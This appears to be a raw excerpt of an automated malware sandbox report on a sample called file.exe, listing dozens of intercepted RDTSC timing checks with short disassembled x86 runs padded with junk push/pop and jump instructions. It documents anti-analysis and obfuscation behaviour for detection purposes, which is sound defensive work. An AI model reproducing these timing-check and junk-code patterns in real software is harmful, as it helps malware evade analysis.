Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4A2A second address: 5C4A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC51CADF60Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FC51CADF606h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA7C3 second address: 5CA7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CCBAE94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA7DB second address: 5CA805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FC51CADF60Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA805 second address: 5CA80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE743 second address: 5CE74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD9C5 second address: 5CD9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD9C9 second address: 5CD9DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FC51CADF606h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push esi 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDB85 second address: 5CDB8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCA8 second address: 5CDCAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDE29 second address: 5CDE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE0C4 second address: 5CE0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF60Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE30C second address: 5CE310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE310 second address: 5CE358 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC51CADF606h 0x00000008 jg 00007FC51CADF606h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jmp 00007FC51CADF615h 0x00000016 jbe 00007FC51CADF606h 0x0000001c pop edi 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jc 00007FC51CADF606h 0x00000026 popad 0x00000027 popad 0x00000028 push ecx 0x00000029 pushad 0x0000002a js 00007FC51CADF606h 0x00000030 jns 00007FC51CADF606h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6A57 second address: 5D6A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC51CCBAE96h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D49EE second address: 5D4A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 ja 00007FC51CADF615h 0x0000000d popad 0x0000000e jng 00007FC51CADF61Eh 0x00000014 jbe 00007FC51CADF608h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D518A second address: 5D5191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5625 second address: 5D562B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D562B second address: 5D5639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC51CCBAE8Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5639 second address: 5D5643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5643 second address: 5D5648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5648 second address: 5D564D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D57B3 second address: 5D57BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC51CCBAE86h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D57BE second address: 5D57DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC51CADF619h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D57DE second address: 5D581C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC51CCBAE90h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FC51CCBAE90h 0x00000014 jmp 00007FC51CCBAE93h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D68F1 second address: 5D68F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF7F6 second address: 5DF7FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF7FB second address: 5DF801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF3C4 second address: 5DF3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF535 second address: 5DF558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC51CADF60Ch 0x0000000a jne 00007FC51CADF606h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007FC51CADF606h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF558 second address: 5DF568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FC51CCBAE86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF568 second address: 5DF56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB332 second address: 5EB33E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB33E second address: 5EB34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007FC51CADF60Ch 0x0000000b ja 00007FC51CADF606h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF973 second address: 5EF97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFAEB second address: 5EFAFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFAFD second address: 5EFB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007FC51CCBAEA1h 0x0000000b pushad 0x0000000c jmp 00007FC51CCBAE97h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FC51CCBAE8Fh 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFB56 second address: 5EFB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FC51CADF608h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFB66 second address: 5EFB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B341 second address: 60B368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FC51CADF610h 0x00000011 pop eax 0x00000012 jng 00007FC51CADF60Eh 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609DBC second address: 609DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609F55 second address: 609F64 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609F64 second address: 609FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FC51CCBAE9Dh 0x0000000e pushad 0x0000000f jmp 00007FC51CCBAE97h 0x00000014 push esi 0x00000015 pop esi 0x00000016 push esi 0x00000017 pop esi 0x00000018 jg 00007FC51CCBAE86h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A55C second address: 60A584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FC51CADF617h 0x0000000a push ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FC51CADF606h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A584 second address: 60A5B0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC51CCBAE86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FC51CCBAE8Ch 0x00000013 jmp 00007FC51CCBAE93h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A6FF second address: 60A72E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF612h 0x00000007 jns 00007FC51CADF60Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC51CADF60Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F7DD second address: 62F825 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007FC51CCBAE86h 0x00000010 pushad 0x00000011 popad 0x00000012 jc 00007FC51CCBAE86h 0x00000018 popad 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 jo 00007FC51CCBAE86h 0x00000026 push edx 0x00000027 pop edx 0x00000028 popad 0x00000029 popad 0x0000002a pushad 0x0000002b jo 00007FC51CCBAE8Eh 0x00000031 je 00007FC51CCBAE86h 0x00000037 pushad 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F825 second address: 62F836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF60Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F3C5 second address: 62F3C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F515 second address: 63F51F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC51CADF60Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E436 second address: 63E454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE94h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E454 second address: 63E45E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC51CADF60Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E714 second address: 63E718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC11 second address: 63EC15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC15 second address: 63EC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC1B second address: 63EC21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC21 second address: 63EC29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EEEB second address: 63EEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EEF3 second address: 63EF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CCBAE94h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643470 second address: 64347B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC51CADF606h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64347B second address: 643481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643481 second address: 643485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643485 second address: 64349C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC51CCBAE86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FC51CCBAE88h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6439BF second address: 6439C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6439C5 second address: 6439D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804E8 second address: 4C804EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804EE second address: 4C804F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804F2 second address: 4C804F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804F6 second address: 4C8050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC51CCBAE8Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8050B second address: 4C80522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80522 second address: 4C80528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80565 second address: 4C8056A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5635BE second address: 5635D1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC51CCBAE88h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5635D1 second address: 5635D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5635D5 second address: 5635D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5635D9 second address: 5635DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5635DF second address: 5635EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FC51CCBAE86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80E27 second address: 4C80E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80E2B second address: 4C80E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80E31 second address: 4C80E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80E37 second address: 4C80E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80E3B second address: 4C80E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC51CADF60Dh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FC51CADF60Eh 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov di, cx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80E68 second address: 4C80ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CCBAE8Fh 0x00000009 popad 0x0000000a push dword ptr [ebp+04h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FC51CCBAE94h 0x00000014 xor ch, FFFFFFF8h 0x00000017 jmp 00007FC51CCBAE8Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FC51CCBAE98h 0x00000023 add si, 0158h 0x00000028 jmp 00007FC51CCBAE8Bh 0x0000002d popfd 0x0000002e popad 0x0000002f push dword ptr [ebp+0Ch] 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 mov cx, 8A21h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80ED9 second address: 4C80F02 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC51CADF60Eh 0x00000008 adc ecx, 3E3B0BB8h 0x0000000e jmp 00007FC51CADF60Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80F02 second address: 4C80F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0189 second address: 4CA01DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 48h 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c movzx eax, bx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FC51CADF60Bh 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 jmp 00007FC51CADF614h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FC51CADF610h 0x00000026 sub ah, FFFFFFA8h 0x00000029 jmp 00007FC51CADF60Bh 0x0000002e popfd 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01DE second address: 4CA01EF instructions: 0x00000000 rdtsc 0x00000002 mov ax, 6F9Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01EF second address: 4CA01FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CADF60Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01FE second address: 4CA0202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0202 second address: 4CA021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bx, cx 0x0000000d mov ecx, 7EDA4E4Dh 0x00000012 popad 0x00000013 xchg eax, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dl, 99h 0x00000019 mov edx, eax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA021E second address: 4CA0268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, edi 0x0000000f pushfd 0x00000010 jmp 00007FC51CCBAE97h 0x00000015 jmp 00007FC51CCBAE93h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
